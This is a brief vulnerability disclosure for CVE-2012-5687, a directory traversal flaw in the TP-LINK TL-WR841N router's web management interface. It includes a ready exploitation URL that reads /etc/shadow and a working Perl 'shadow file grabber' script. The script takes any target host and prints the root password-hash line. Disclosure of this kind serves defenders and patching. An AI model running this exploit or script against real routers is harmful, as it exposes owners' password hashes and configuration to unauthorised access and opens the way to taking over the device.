TP-LINK TL-WR841N Local File Inclusion

`=| Security Advisory - TP-LINK TL-WR841N LFI |=  
  
Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"  
Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below versions  
Discovered Date: 24/10/2012  
CVE-ID: CVE-2012-5687  
Author: Matan Azugi [[email protected]] Product Vendor:  
http://www.tp-link.com/en/products/details/?model=TL-WR841N   
  
Details:  
  
TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI)  
Vulnerability.  
The vulnerability exists in Web-Based Management. The URL parameter is not  
properly sanitized before being used.  
Exploitation URL:   
  
http://192.168.0.1/help/../../../../../../../../etc/shadow  
  
Successful exploitation allows viewing the router configuration and password  
files.  
  
Proof of Concept Code:   
  
#TP-LINK TL-WR841N Shadow file grabber#  
#built by Pulse [email protected]#  
#enjoy#  
  
use LWP::UserAgent;  
$host = $ARGV[0];  
chomp($host);  
if($host !~ /http:\/\//) { $host = "http://$host"; };  
  
my $ua = LWP::UserAgent->new;  
$ua->timeout(30);  
$lfi = "/help/../../../../../../../../etc/shadow";  
$url = $host.$lfi;  
$request = HTTP::Request->new('GET', $url); $response =  
$ua->request($request); my $html = $response->content; if($html =~ /root/) {  
print "root$' \n" ; }  
  
  
Thank You,  
Matan Azugi, MCSE OSCP  
http://www.madsec.co.il  
  
  
`